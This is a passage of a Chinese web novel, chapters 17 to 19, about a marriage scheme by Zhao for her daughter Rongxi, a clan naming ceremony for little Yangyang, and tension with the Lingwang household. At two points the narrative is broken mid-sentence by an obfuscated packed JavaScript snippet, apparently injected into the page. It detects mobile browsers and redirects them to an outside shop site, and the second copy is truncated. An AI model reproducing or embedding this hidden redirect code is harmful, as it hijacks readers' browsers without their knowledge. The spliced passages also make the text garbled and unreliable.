“那不一样,”宋喜说着撇撇嘴,“我爹又不疼我,远近无甚不同。” 徐士钦沉吟片刻,道:“这事二叔做不得主,榕惜堂妹自己也想嫁来汴京。” “可晋陵家中求学的学子也很多,二婶就没挑中一个?届时不也能来汴京,还是知根知底的,二人相处过,方才知晓是否合适。”宋喜说着叹气,“二婶说让我操心,可我吃席也少,哪里知晓京中贵胄各府子弟秉性,若是最后挑了个气性短浅的,婚后夫妻生厌,我还如何见二叔一家?” 徐士钦道:“这会儿知道怕了?晚间说话时怎不知?” 宋喜有些恼的瞪他。 “行了,擦干早些睡,”徐士钦将凳子上的擦脚布递给她,又道:“我明日去与二叔说。” 宋喜唇角翘起,在他脸颊亲了下。 徐士钦侧眉看她,“怀着身子呢,闹什么。” “就你多想。”宋喜低哼了声,拿过巾子擦脚。 旁边目光在她脸上停了片刻,收回擦干净脚,将她盆里的倒入自己的木盆里,趿拉着鞋去倒洗脚水了。 17. 第 17 章 跨院,赵氏也在说这事。 “大哥就是清高,开族宴只请了那么几家,不然我何至于费力气去与士钦媳妇儿说,我看啊,他就是怕你沾人家太傅大人的光。” 徐鉴礼闻言,顿时皱起了眉,“你胡咧咧什么呢。” 他今夜吃了不少酒,醉得恨不能倒头便睡过去,耳边却是不得清净。 赵氏心里头不痛快,被丈夫骂了句,顿时火冒三丈,气得将软枕砸在他身上,“我说什么,你听不见吗?” “榕惜都要及笄了,同她大伯有几分亲近?我不过是说了句,劳烦老二他媳妇儿多上些心,替榕惜相看个好儿郎,你瞧瞧,你瞧瞧,老二立即将话头转了去,生怕我再多说一句,当我察觉不出?还不是人家如今得势,如日中天,便是一个没娘的奶娃娃都能得了桩赐婚,日后是那享清福的王妃娘娘,眼界儿高了,将你我当作上门打秋风的穷亲戚来瞧了。” 赵氏越说越气,又在他手臂上恨恨拧了下,“说到底,是我们娘儿俩命苦,跟了你!” 徐鉴礼疼得吸气,捂着手臂往床内挪,忍不住替自个儿说句:“我不好官场,你我成亲时,我便坦诚以告了。” “是是是,你们一家子都是清高的,就我是个势力的!”赵氏恼道。 帐子里漆黑,只零星月色落进来,隐隐绰绰。 徐鉴礼颇为头疼的伸手拉她躺下,“快睡吧,都几更了。” 赵氏争了下,依着软枕躺下了,“榕惜定是要嫁在汴京的,这事你去与大哥说!” 身后没动静。 她忍不住踹了脚,“听见没?” “还睡不睡了!”徐鉴礼不耐道。 听出他话里的恼,赵氏消停了。 翌日天晴,用过早饭,徐士钦带着几个晋陵的弟弟妹妹出门闲逛了。 苍邬院里。 “泱泱怎的不去?”赵氏瞧着檐下剥橘子的小姑娘,和颜悦色问。 “爹爹带我去逛过了。”泱泱扭头道,往嘴巴里塞了瓣橘子,一把抱住跌跌撞撞朝她走来的小妹妹。 冬日里冷,便是出了太阳,小阿敏也穿得严严实实的,瞧着像是雪地里堆得雪娃娃,咿咿呀呀的很好玩儿。 被抱住了,小姑娘敞着牙花子咯咯笑,两只小手去拿姐姐手里的橘子。 “酸……”泱泱不给。 话出口,就见小妹妹口水直流,她无语道:“馋哦~” “这小姐俩的感情真好。”赵氏笑与宋喜说。 宋喜正缝制一条烟粉色的小肚兜,上面的五毒平安兽还差几针,闻言抬头朝门前望了眼正玩耍的两个小姑娘,笑道:“小孩子心思干净,虽还不知事,但谁真心疼她,也是知道的。” 赵氏唇角的笑意一顿,干笑两声,“是,是这个理儿。” 片刻,宋喜收了针,将小肚兜叠好,唤来绿稚:“这衣裳收好,洗干净过年时给大小姐穿,五毒辟邪保平安。” “是。” 赵氏瞧见,问:“怎用了这颜色,瞧着小家子气。” 宋喜笑了笑,只道:“泱泱挑的。” 临近傍晚时,出去玩儿的几人才回来,个个儿面上带笑,瞧着很是尽兴。 几人免不得要先去徐鉴礼与赵氏院子里问个安去,徐榕惜没跟兄长弟弟们一道,“我给泱泱买了糖葫芦,先给她送去,免得糖霜化了糟蹋东西。” 说罢,带着两个丫鬟穿过小径走了。 “使唤丫鬟去不就是了……”徐榕惜的兄长嘀咕一句。 不过一盏茶的功夫,将晚的天色变得漆黑一片。 春居堂此时上了灯,却是将人骇得脚步一顿,迟疑不敢入内。 “堂小姐。”绿稚出来端汤,瞧见人,连忙出声唤了声。 “我来找泱泱,她可在?”徐榕惜站在门前问。 绿稚快步迎过来,道:“我家小姐在屋里剪纸玩儿,堂小姐可要进来坐坐?” 徐榕惜喉咙动了动,温柔笑道:“回来还未与父亲母亲请安,就不坐了,这糖葫芦是我回府时买给泱泱的,劳你拿进去吧。” “奴婢替我家小姐谢过您。”绿稚接过道。 徐榕惜微微颔首,转脚走了。 绿稚瞧着人走远些,才将院子门阖上。 “这院子真古怪,年根下,竟是挂了一院子的白灯笼……” “谁说不是,不知道的还以为是入了哪家坟塚,瘆人的紧,大老爷怎的不管管,由着大爷和大小姐胡来,倒是将咱们小姐吓着了。” “别说了。”徐榕惜捂着心口低斥道。 “大姐姐没进来?”泱泱咬着甜甜的糖葫芦问。 绿稚点点头,方才她走得近,哪里没瞧见那主仆三人瞧着他们院子惊吓的神色,只这话不宜与小姐说就是了。 “堂小姐要去给二老爷和二夫人请安,便没进来。”绿稚说。 泱泱握着糖葫芦,安逸得晃晃穿着足袋的小脚脚,“大姐姐真好,出去耍还给我买糖葫芦~” 旁边的小丫鬟闻言噗嗤一笑,道:“咱们主子也没短了小姐的零嘴啊。” “不一样,”泱泱趴在榻上说,“爹爹疼我,因他是我爹爹呀,可大姐姐,我与她还是头回见呢,昨儿她还送了我好看的头花~” 那头花是江南的样式,汴京城没有,她从前住着的边地也没有,泱泱很喜欢。 “祖父说,礼尚往来,等明儿也让爹爹帮大姐姐做一副弓箭,我们可以一起打兔子呀~” 泱泱说着,一骨碌爬起来,将吃了一半的糖葫芦放在了油纸上,让绿稚拿远些去。 绿稚不禁忍笑。 就没见过哪家的爹,跟闺女分零嘴的,他们主子的嘴也当真是大,偏她们小姐还乖的紧。 泱泱盘着小腿腿,拿起小剪刀和红纸继续剪,片刻,剪出一朵花瓣并不规整的小红花来,笑嘻嘻的贴在了脑门儿上,“看我~” 绿稚夸赞:“咱们小姐真好看。” 泱泱:“嘻嘻~” 旁边两个小丫鬟暗自悔恨。 慢啦慢啦! . 腊月二十三,小年日,也是徐家的开族日。 一早,厨房里便忙得热火朝天。 徐九涣也一改往日睡懒觉的劣性,早早便自床上爬了起来,还将闺女弄醒了。 泱泱揉着惺忪的眼,张着大大的哈欠,小脑袋像是捕醉仙,在爹爹手中摇摇晃晃。 回汴京前,便是徐九涣替她扎头发,黄的绿的发绳一绑就是个小揪揪。 可惜了,许久懒怠,手艺退步许多,徐九涣瞧着那俩高低不一的小揪揪心想。 绿稚端着热水进来,瞧见那头型时,不觉眼皮狠狠一跳,委婉道:“主子,还是奴婢来吧。” 今日若真要让她们小姐这般见客,不只是丢这父女俩的脸,就是她也抬不起来头。 丢人呐。 绿稚捣鼓头发也许久,没用钗环首饰,绑了条翠绿发绳,绾起的小发包上点缀了珍珠小花花。 衣裙是宋喜月前便着人裁好的,那时还有余量,这会儿上了身倒是正正好。繁复漂亮,穿着像个小花仙, “小姐长高了。”绿稚笑着说。 泱泱唇角翘得高高的,垫了垫脚尖,很是满意啦。 天朗云舒,宾客如云。 宋喜没在自己院子待客,众女眷坐在厅堂侧边的暖阁中说笑。 宋喜外家姚家几位夫人来时,暖阁里已坐着几位夫人,在瞧见坐在主位上坐着的赵氏时,神色微怔,不过稍纵即逝罢了。 互相问候罢,武定伯夫人笑着道:“早听囡囡说,她二婶今岁回京过年了,可算是见着了。” “快快来坐,”赵氏亲热的招呼道,却是没从榻上起身,笑与她道:“我前儿还跟士钦他媳妇儿说呢,回来的日子不凑巧,没吃到你家的席呢。” 说着,赵氏问:“老太太身子可还硬朗?今儿怎的没一道来,我也好给她老人家问个安才是。” “硬朗,”武定伯夫人笑道,“只不巧,老太太染了风寒,不宜出门,不然今儿定是要来呢,”她说着,瞧向宋喜,“知你惦记,老太太让我说,她没大碍,就是那日吃席,吹着了风,将养两日就好。” 宋喜松了口气,“多谢大舅母。” “泱泱与阿敏呢,怎的没见着这俩小姐妹?”姚三夫人问。 宋喜噗嗤笑了声,“泱泱今日打扮的好看,说是也要给妹妹打扮,姐俩儿还在屋里臭美呢。” “老五还说呢,没什么好送的东西,前儿得了一匹矮脚马,说是送给泱泱骑,这小姑娘也爱美了,可还喜欢骑马?”姚四夫人笑道。 几句话间,皆是绕着泱泱说,赵氏脸上的热络淡了些,端起了桌案的茶碗。 稍片刻,一道窈窕身影步入了暖阁。 “这是……”武定伯夫人左右瞧一眼,轻声问。 “这是二婶的姑娘,闺名榕惜。”宋喜道。 徐榕惜上前,姿态姣好的规矩见礼,“榕惜见过各位夫人。” “原是堂小姐,”武定伯夫人朝她伸手,笑与赵氏道:“她二婶好福气,有这样模样标志的闺女,这若是我家的,我与夫君怕是做梦都得笑出来。” 武定侯夫人膝下有三子,长子也有十二,听得这话,赵氏唇角勉强扯出些笑来,“是,姑娘家不似那皮猴儿费心,但到这年岁,也免不得操心许多,我前儿还与士钦他媳妇儿说呢,想给榕惜寻个如意郎君,爵位倒是无甚,但得身有功名才好,为人端正,发愤图强。” 赵氏说着,又询问:“夫人家的公子是从武?” 暖阁里坐着的几人神色皆变得微妙,不觉瞧向了武定伯夫人,后者端起茶碗抿了口,而后才颔首,道:“家中几个儿郎,皆随他们祖父从武,小子年幼,还未有功名傍身。” “打打杀杀的,终究是惹人心惊胆战,”赵氏与旁侧几位夫人道,“要我说啊,还是读书好,听说崔夫人家的三郎中了秋闱,只等今岁开春闱了?” 崔夫人手上剥着一颗蜜橘,闻言浅浅笑了笑,道:“小儿运道好些,勉强榜上有名。” “运道好也是好的,”赵氏笑道,“贵公子不过而立,便得了功名,日后差不了,不知夫人可有瞧上的贵女,与哪家定了亲?” 暖阁中坐着的几人不动声色的对视一眼,皆心照不宣。 徐榕惜眉微蹙,借着衣袖遮掩,轻轻扯了扯阿娘的衣袖。 这话也说得太明了些,且今儿还是泱泱的开族宴,哪好说她的亲事? 赵氏心里也有小算盘。 今日宴请的宾客虽说是不多,可与徐家都是亲近的,若是她闺女与其中哪家结亲,日后徐鉴实都免不得照顾着些,而徐榕惜的夫家,也会看在徐鉴实的份儿上,待她闺女好些。 她一副好奇的神色,崔夫人接过丫鬟递来的帕子擦擦手,抬起眼,先是瞧了眼坐在绣凳上端秀的姑娘,目光挪去赵氏脸上,温声道:“不瞒夫人,我家三小子的亲事也是着实让人头疼,去岁春日宴,我便想着替他相看,且先将亲事定下,可那小子,自个儿舞文弄墨,” 她说着一顿,摇首笑道:“却是偏属意舞刀弄枪的姑娘,我还跟武定伯夫人说呢,实在是她家都是小子,不然也解了我燃眉之事。” 徐榕惜顿时面上臊的泛红。 赵氏嘴角抽了抽,眼中热切淡了些,“自古亲事,都是父母之命媒妁之言,崔夫人怎能由着孩子的心性来,还是得规劝才是。” “都是结亲,结的儿女亲事,少不得要合孩子心意,这日子终究是他们过,咱们谁也替不了。”姚三夫人嘴快道。 武定伯夫人暗暗嗔她一眼,轻轻摇首。 何必逞这一时口舌之快呢。 暖阁中波涛暗涌,宋喜缩在下首竖着耳朵却是不说话。 夫君说了,谨言慎行,她又说不过她们去,少说话才是要紧的! . 园子里,冬日可玩儿的少。 前些时日的雪早已消融,只剩光秃秃的枝丫被风吹得猎猎作响。 泱泱巡视一般,带着姚家几个姐姐哥哥将府中逛了个遍。 “这也没甚好玩儿的。” “冬日里可不就是这样嘛。” “欸!那儿有个狗洞,咱们比赛钻狗洞吧!” “咦~埋汰。” “我穿了新裙子,不钻狗洞啦~” “那咱们玩儿什么?” 顿时,所有的目光皆瞧向了泱泱。 小泱泱眼珠子一转,道:“我知道啦!” “什么?” “我们去找祖父上课吧!” “……快跑啊!” “嘿嘿~”泱泱迈着小短腿跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192968|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着跑,牧羊似的,“找五叔扎马步也行呀~~~” 前面几个小短腿恨不得蹬出风火轮! 太恐怖啦!!! 将近晌午,众宾客被请去观礼。 徐鉴实用竹叶水净了手,丫鬟递上巾帕擦干。 泱泱依循祖制,跪在蒲团上给祖宗磕头敬香,仰着脸望着祖父。 “尊贤在上,今徐氏一族,覃水一支,不肖子孙徐九涣,膝下得一女,敬奉先长,从之华字,谓之华缨,沧浪之水清兮,可以濯我缨。徐氏之女华缨,今日开族之宴,惊扰祖宗,顿叩首。” 泱泱听懂了,乖乖又朝着香炉牌位磕一个。 祠堂寂静,唯有香烟袅袅。 徐鉴实眉眼温和,望着她徐徐道:“今示以家训,徐家子孙华缨,当以尊祖睦族,和兄和邻,居家孝,事君忠,与人谦和,临下慈爱[1]……学须静也,才须学也,非学无以广才,非志无以成学,少年当以浩瀚之气,如天地之物茁出……” 徐九涣悄摸的朝徐士钦挪两步,低声问:“家训何时多了这些?” 徐士钦恼得瞪他一眼,低声:“闭嘴。” 家训是为警醒,多是规训,后面这话,明摆着是老爹对泱泱的教导。 徐士钦抿着唇看向徐鉴实,却是听得眉头微皱。 而观礼的宾客,静立望着堂中的一幕。 一字一句,皆是长者对幼孙的爱护与谆谆教诲,难怪陵王府与官家求了这门亲事呢。 徐榕惜望着跪在蒲团上的泱泱,眼中不乏羡慕。 她幼时开族,那时父亲已带着她与哥哥阿娘回了晋陵老家,开族宴时,是与族中几位兄弟姐妹一起的,五指尚有长短,她是个姑娘家,在族中自是比不得兄弟们受宠。 想着,徐榕惜瞧向了徐九涣,虽还是那副吊儿郎当的模样,可眼中的骄傲与疼爱几乎要溢出来。 都是姑娘,爹爹待她,就是不如大哥待泱泱。 徐榕惜心想。 她的右后侧,一位羽扇纶巾的男子也目不转睛的看着泱泱,片刻,竟是红了眼睛,不动声色的侧首,眨了眨沾湿的眼睫。 再抬眼,便见前面长身玉立的徐九涣朝他轻抬了下眉问:哭了? 似是示意,又像是嘲弄。 崔三斜他一眼,面色素净,目光垂落,看着那小小的姑娘,他心里轻叹了声,孟姐姐终归还是…… 宴宾客罢,徐九涣兄弟俩将人好生送出门去,才折身回院子。 女眷那厢散的早些,宋喜已经换了身轻便衣裳,发髻上的钗环也让丫鬟取了,瞧见他进来,丫鬟们自觉退下,将门关上了。 徐士钦揉揉前额,道:“过来歇会儿,可累?” 宋喜摇摇头,“有二婶帮衬着操持,我省心多了。” 说着,想起什么,她踩着绣鞋蹭来榻上,与他低声道:“听二婶的意思,是瞧上了崔家的三郎。” 徐士钦眉眼微怔,“崔家?” 宋喜点点头。 “崔家……”徐士钦又念一遍,道:“崔家是士族清流,从前比咱们家要贵重许多,崔三又是主支嫡孙,就是公主怕是都看不上眼,二婶眼光好,可只怕是不好办。” 宋喜嘀嘀咕咕,将暖阁中崔夫人说的话与他说了,又道:“今日我可没多嘴。” 徐士钦笑了声,与她低语:“崔三从前与孟姐姐走得近。” 宋喜微微吃惊,正要开口,被捂住了嘴。 宋喜:…… “谨言慎语。”徐士钦低笑着说。 从前种种,如今说来也无甚意思,更是对孟灵的亵渎。 “此事二婶自有主意,你不掺和是对的。”徐士钦吃了些酒,此时衣袍解开两颗盘扣,青天白日的,忽的多了些有辱斯文的意思,唇轻擦过她白里透粉的脸颊。 说的是正经话,宋喜却是被他撩拨得倏然红了脸,不禁伸手推推他,“你酒气尽扑我脸上了。” 说罢,她又憋一句:“熏人。” 徐士钦将她抱上软榻,喉间闷出几声轻笑,“那你脸红什么?” 说着,他抬手蹭她脸颊,“好好歇个晌,你胡思乱想什么?嗯?” 宋喜羞得锤他。 房外的丫鬟默默走远了些…… . 春居堂。 泱泱抓着一枚青玉牌翻来覆去的瞧,听见外间徐九涣传来的动静,蹬着鞋子跑了出来,仰着脑袋问:“爹爹!你有不?” 徐九涣瞧了眼她脸上的嘚瑟,轻嗤了声,示意她来。 午后暖阳如春,父女俩在屋里翻箱倒柜。 “找到了。”片刻后,徐九涣说。 他从抽屉深处拿出来一只梨花木小匣子,几下开了那鲁班锁,引得泱泱双眼冒光的赞叹—— “太好玩儿了叭!” “没见过世面,”徐九涣翘着唇角低笑着骂,将那锦缎上的玉牌拿起来给她瞧,“徐、九、涣,瞧见没,是我。” 徐家子孙,皆有这么块玉牌,不论贵重,是明身份的物件儿。 泱泱这枚玉牌,是老头儿亲自雕刻的,不肖得瞧,徐九涣便知道,因他手里这枚也是。 徐九涣捏着闺女的玉牌,忽的酸溜溜的说:“一把年纪了,还搞这个,幼稚。” 泱泱顺着他的目光,看着玉牌上的小花花,道:“我喜欢这个!” “哄小孩儿的罢了。”徐九涣醋道。 “我喜欢!”泱泱得意。 “知道了……”徐九涣拖着调子说,忽的又使唤她,“去将你绿稚姐姐的笸箩拿来。” “做什么?”泱泱好奇的问,却是迈着小短腿儿去了,片刻小跑着回来,“呐~” “喜欢哪个颜色?”徐九涣扒拉着笸箩里的锦线问。 泱泱最是喜欢色彩明艳的,当即选了几色给他。 “你这审美……堪忧呐。”徐九涣叹道,骨节分明的手将那几根丝线理了理,道:“你捏着这头……” 泱泱乖乖听吩咐。 片刻,绿稚进来伺候茶水,便见晌午的日光洒落在窗棂前,那父女俩盘着腿玩儿花绳,她神色微顿,忍不住瞧了片刻,又翘着唇角、轻手轻脚的退了出去。 老爷常遗憾她们主子不读诗书,可她们主子也没那些所谓君子的酸臭。 没瞧见?她们主子还会给小姐打络子呢。 18. 第 18 章 跨院,此时气氛却是剑拔弩张。 侯在门外的嬷嬷打发丫鬟们站远些,远了檐下那处。 “……阿娘今日当真是糊涂了,今儿开族宴是泱泱的好日子,我在诸位夫人跟前露个面就是,阿娘却是喋喋不休的与人家说嘴我的亲事,喧宾夺主,若不是我将及笄,还当是无人问询的老姑娘不成了,你让那些个夫人今后要如何瞧我?丢死人了!”徐榕惜以帕子捂着脸,气得边哭边诉。 赵氏被闺女这般指责,气得抬手戳在她额头上,恼得提高了声儿道:“我糊涂?!我都是为了谁?还不是你想嫁来汴京,想嫁王孙侯爵!我事事为你,倒是成了我的不是?真这般难耐,你还要你老娘替你筹谋什么,自个儿寻门亲事利索嫁了就是!” 徐鉴礼回来,便见一院子丫鬟婆子侯在院门前,刚疑一瞬,便听屋里传来这话,顿时眉头紧皱,圆滚滚的身子竞走几步,推门入内。 “你说的什么话!”徐鉴礼斥道,“枉你还是读过书的,怎能教自己闺女与人私相授受?!” 赵氏话出口,也觉不对,还未出声,便听他进来训斥了这么一句,顿时如火冒三丈,声音拔地而起:“我哪句说的不对?” “你……” “若是她德才兼备,名声出众,又何须我苦心孤诣的替她腆颜去与那些个夫人攀谈?好女百家求,我未出阁时,上我家来求娶的恨不能将门槛踩断,她呢,如今又有几个欲要求亲的?” 徐榕惜被说得臊的捂着脸哭着跑了出去。 缠花门砰的关上,门外伺候的下人面面相觑,竟是谁都没敢去拦。 屋里赵氏的骂声并未因此而停下—— “……若是你如你大哥般,稳坐朝堂,今日因着一封家书而风尘仆仆、不远千里的从晋陵赶回来的便不是我!可你不求上进,窝在那千里之地,说的好听是潜心修史,实则不过是比不过你大哥罢了!你怕了!你怕人家将你与大哥比,可你事事不如他!” “你、你简直不可理喻!” “我不可理喻?”赵氏冷笑,“你睁眼瞧瞧!如今这汴京城中有谁记得你徐家二老爷?又有谁知道我!年前各府多宴请,便是连宋喜那小家子出身的都收到了几封帖子,我呢,我两手空空!都说夫荣则妻贵,我跟着你二十年了,得了什么?若不是今日你大哥给那丫头摆宴开族,我又怎能见着那些个夫人?那崔氏三郎年过及冠才中榜,便是这般榆木,都瞧不上你闺女,我不过是多说了两句罢了,竟是能让那小蹄子指着鼻子骂我丢人现眼!我倒不如一头碰死,也好过被你们父女作践!” 徐鉴礼苦笑两声,“既然我这般无用,你当年又何必嫁我?” 说罢,他垂首开门出去了。 屋里的歇斯底里霎时一静,唯留耳边嗡鸣。 片刻,赵氏将屋中摆件儿砸了个空,伏在软榻上竟是哭了。 . 粉彩般的流云渐渐藏于枯枝山岚后,徐府各院上了灯。 晚膳时,徐鉴实扫了眼桌上空着的两把木椅,问徐鉴礼:“弟妹与榕惜怎的没来?” 徐鉴礼垂着眼,闻言勉强扯了扯唇角,摇头道:“她们身子不适,便不过来了。” 泱泱揣着小手等祖父喊开饭,听着这话,仰起脸问:“小姑姑不舒服呀?” 稚语童声,听得人心口不免慰藉,徐鉴礼温声道:“无事,明日便好了。” 泱泱似懂非懂的点点脑袋,“我不舒服时,绿稚姐姐会给我煮山楂水喝,甜甜的,我就舒服了。” 这话引得桌上众人不禁忍笑。 徐九涣翘着脚悠哉道:“你那是吃撑了。” 这话一出,顿时满堂哄笑。 泱泱也不觉丢脸脸,点头道:“等我长大就能多多吃啦~” 用过晚膳,徐鉴实将徐鉴礼喊走了。 泱泱缩着脑袋小小声与爹爹说:“今晚还不用读书嗷~” 徐九涣轻笑了声,将闺女抱起坐在脖子上往外走,悠悠道:“你祖父这会儿可顾不上你。” “为啥呀?” 徐九涣懒得去揣测,道:“没吃着酱鸭腿,出门吃烤肉串去。” “好~” 书房里,徐鉴礼面对着兄长,臊红了一张脸,搓着手很是局促,“也、也没啥。” 徐鉴实拎起炭火上温着的清茶,替他倒了一碗,道:“你我是一母同胞的亲兄弟,虽是这些年聚少离多,但如有为难之处,你不与我说,还能与谁说?” 徐鉴礼垂着眸光,看着炭盆里的火星子,片刻,呐呐道:“榕惜他娘,看上了崔家三郎,想与之结亲。” “崔家?”徐鉴实微诧。 徐鉴礼轻轻点了点头,“听着意思是,崔夫人没情愿。” “崔家自先朝时,便已是百年清流,如今崔家子弟虽是鲜少有入朝为官者,但其底蕴深厚,依旧是名门望族,弟妹眼光好。”徐鉴实道。 徐鉴礼抬起眼,苦兮兮道:“可就是心气儿忒高,我初初时以为,她们母女俩的意思是,想在汴京达官显贵中挑个郎君,可这……唉。” “榕惜是个好姑娘,你也不必妄自菲薄,”徐鉴实宽慰弟弟道,“等寻个时机,与崔家家主……” “大哥!”徐鉴礼连忙打断他的话,“我……” 徐鉴实摆摆手,“有道是好女百家求,崔家三郎这些年亲事未定,不乏有贵女登门求亲的,在汴京城中说起也算是佳话,”他揶揄说笑一句,又道:“崔家家风清正,崔三郎若是真能与榕惜成就良缘,也是好事。” “只怕人家瞧不上我这个岳父……”徐鉴礼搓了搓脸尴尬说。 双膝被炭盆烤得发烫,徐鉴实却是坐着没动,目光望着对面的弟弟,良久,他问:“当年,你为何执意回晋陵老家,而不愿入仕?” 徐鉴礼动作一顿,看着炭盆里猩红的炭火,却是没出声。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14210166|150025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他与大哥,幼时皆是在族中读书,长至十五,徐鉴实下场科考,连中三元,一时风光无两,徐鉴礼那时,真真儿是将大哥引以为傲,可他十五下场,虽是榜上有名,却平平无奇得让人失望。 珠玉在前,其后者皆蒙尘。 大抵是自那时起,徐鉴礼便生了不愿科考入仕的心。 爹娘虽是不解,族中长者摇首叹息,可徐鉴礼坚持如此,他们倒也未逼迫什么。 后来,他及冠后便与赵氏成了亲,那时二人也算是举案齐眉,先是生了长子,又有了次女榕惜,再后来,徐鉴礼便举家搬迁去了晋陵。 后来多少年,他瞧着大哥膝下二子读书,得知徐九涣书文不就时,整夜未睡。 大抵是因,这世间有了知他感受之人。 可他们终究是不同的。 他十年如一日的待在晋陵,不愿往这汴京来,不想听着旁人嘴里那句‘原来是徐家二老爷’。 哪怕人家并未冷嘲热讽,他却是先窘迫臊红了脸。 而徐九涣纵然六艺不通,也依旧坦荡,身上那股子洒脱,他多年都未学会。 “家里有大哥就够了……”徐鉴礼扯出些笑来,讪讪道。 . 过了小年,日子更添忙碌。 汴京百姓向来是腊月二十四扫尘,既是洒扫,也是喻将旧年的晦气扫去。 陵王府今日也扫尘,陵王妃将事情与身侧嬷嬷吩咐罢,便打发人各自去忙,不必在身边伺候。只是歇了不过小半个时辰,便见嬷嬷快步进来禀报。 “娘娘,徐家的年礼送来了!” 闻言,陵王妃神色微怔,“今日?” 嬷嬷瞧着也满脸晦气,“马车已经停在门前了,那小厮都将东西放下了,徐家……也没个主子来,只那小厮说了句,是徐家大爷派他送来给咱们的年礼!” 陵王府与徐家,如今也算得上是姻亲了,过年送年礼全乎礼数,自是该的。 可哪日不好?偏是今日扫尘! 别说是他们这般礼数周全,重规矩的皇亲国戚,便是寻常百姓家,今日收年礼也觉晦气! “娘娘……”嬷嬷觑着她的神色,又唤了声。 陵王妃叹息一声,吩咐道:“让人将东西拿进来吧,放在门口算得怎么回事。” 面前的是她陪嫁嬷嬷,陵王妃自也没什么不能说的,又道:“原就是王爷算计了徐家,还想徐九涣捏着鼻子认下?” “咱们主子可是世子爷……”嬷嬷嘀咕道。 “是,世子身份尊贵,可人家徐家又差在了何处?”陵王妃说着轻摇首,“王爷若是礼贤下士的去结这门亲便也罢了,可偏使出这种下作手段,徐家是没法子抗旨,可这结亲还是结怨,今日这事还瞧不出来?” “娘娘想得通,当日怎也没拦上一拦?”嬷嬷道。 陵王妃握着账本,默了良久,道:“我只是内眷罢了。” 19. 第 19 章 徐府。 苍邬院里,宋喜伙同徐九涣干了坏事,一整日惴惴不安,等得夜里徐士钦与同窗吃酒回来,才低声将陵王府年礼之事说了。 不等徐士钦开口,宋喜连忙搂着他的脖颈道:“我知道错了,你别训我了,今日我肚子还难受呢,都没敢让人去请大夫。” 瞧她这般模样,徐士钦顿时什么气都散了,手覆在她微微隆起的小腹,“可还难受?” 听他温声,宋喜摇摇头,身子塌了下去,坐在了脚跟上,低声道:“我就是气,凭他陵王府金贵,就能这般算计泱泱了?谁家的姑娘不是块金疙瘩宝贝着的,他们争便是争,平白将人拉扯进来恶心人……” 徐士钦睨着她问:“这话大哥与你说的?” 宋喜噎了下,对视片刻,老实点头,“大哥也是一片慈父心……” 徐士钦轻嗤了声,道:“他就是许久没挨揍了。” 说罢,又捏了捏妻子的脸,“你被他卖了还得数银子。” “大哥不会的,”宋喜甚是笃定道,说着大实话,“大哥也就是欺负你罢了,待我还是很好的。” 徐士钦:…… “我也心疼泱泱,泱泱多好啊,惹人疼,若是谁这般算计阿敏,我也得与之拼命!”宋喜又忿忿一句。 徐士钦听得眼皮一跳,木着脸将她塞进被窝里,“睡你的觉。” 翌日,陵王府的节礼流水似的送了来。 宋喜听下人禀报,说是王妃娘娘亲自带着小郡主来了,登时头皮发麻。 “二爷呢?”宋喜急忙问。 “二爷方才出门了,去给咱们老夫人和舅老爷送节礼去了。”嬷嬷说。 宋喜喉口一哽。 此时再是让人去喊徐士钦回来,也无济于事,反倒是她慌乱得丢脸。 “……替我梳妆吧。”宋喜硬着头皮道。 昨儿才闹了那事,今日陵王妃便上门了,如何瞧都像是来者不善。 “二老夫人不是在嘛,夫人若是怕,不妨让人去跨院通报一声去?”嬷嬷替她出主意道。 “可二婶身子不适……” 这厢宋喜正为难,如火上蚂蚁,那厢丫鬟跑着来禀—— “夫人,二老夫人去招待陵王妃了!” 宋喜:…… 今日日光洒洒,宽敞的堂院中摆了几只箱笼,从吃食衣裳到摆件儿,无一不精巧雅致。 赵氏瞧得眼热,对着吃茶的贵人不觉多了些谄媚。 陵王妃脸上笑意未动,道:“昨日收到了贵府送来的年礼,这不,我与王爷商议罢,便赶着今儿送了来。” 赵氏眼皮一跳,昨、昨儿? 陵王妃今日倒也不是来兴师问罪的,放下茶碗,瞧一眼身侧安静坐着的姑娘,道:“这是夫人膝下的姑娘?” “是,小女榕惜。”赵氏连忙道。 “模样标致,瞧着秀外慧中,可许人家了?”陵王妃柔声问。 徐榕惜垂首,面色渐发红。 这话却是正中赵氏下怀,她聊家常似的闲话道:“还没呢,她开春及笄,亲事倒也没那样急,就是……” 陵王妃稍抬眸瞧来。 赵氏装模作样的叹息一声,“前儿家里摆开族宴,臣妇瞧见那崔家三郎倒是个好的,不瞒娘娘,臣妇与榕惜她爹是想与崔家结这门亲的,这不还在等信儿。” “崔家三郎……”陵王妃稍垂眸,看向下首文秀的姑娘,柔笑道:“我见过那孩子,与徐小姐模样是般配的。” “是吧!”赵氏顿声起,“若是……” “今日天儿好,阿絮出门前,还想着与泱泱玩儿,怎的不见泱泱呢?”陵王妃说。 说话间,外间丫鬟来禀。 “王妃娘娘,二老夫人,二夫人身子不适,请了大夫来,不便来给王妃娘娘与郡主请安,还请贵人见谅。春居堂的下人说,大小姐随二爷出门了,也不在府中。” 听着这话,陵王妃身侧粉雕玉琢的小姑娘叹了声气,好不失望。 “既如此,我便也不多叨扰了。”陵王妃起身道。 赵氏张唇欲言,又不敢拦着,只能亦步亦趋的恭敬送人出府去。 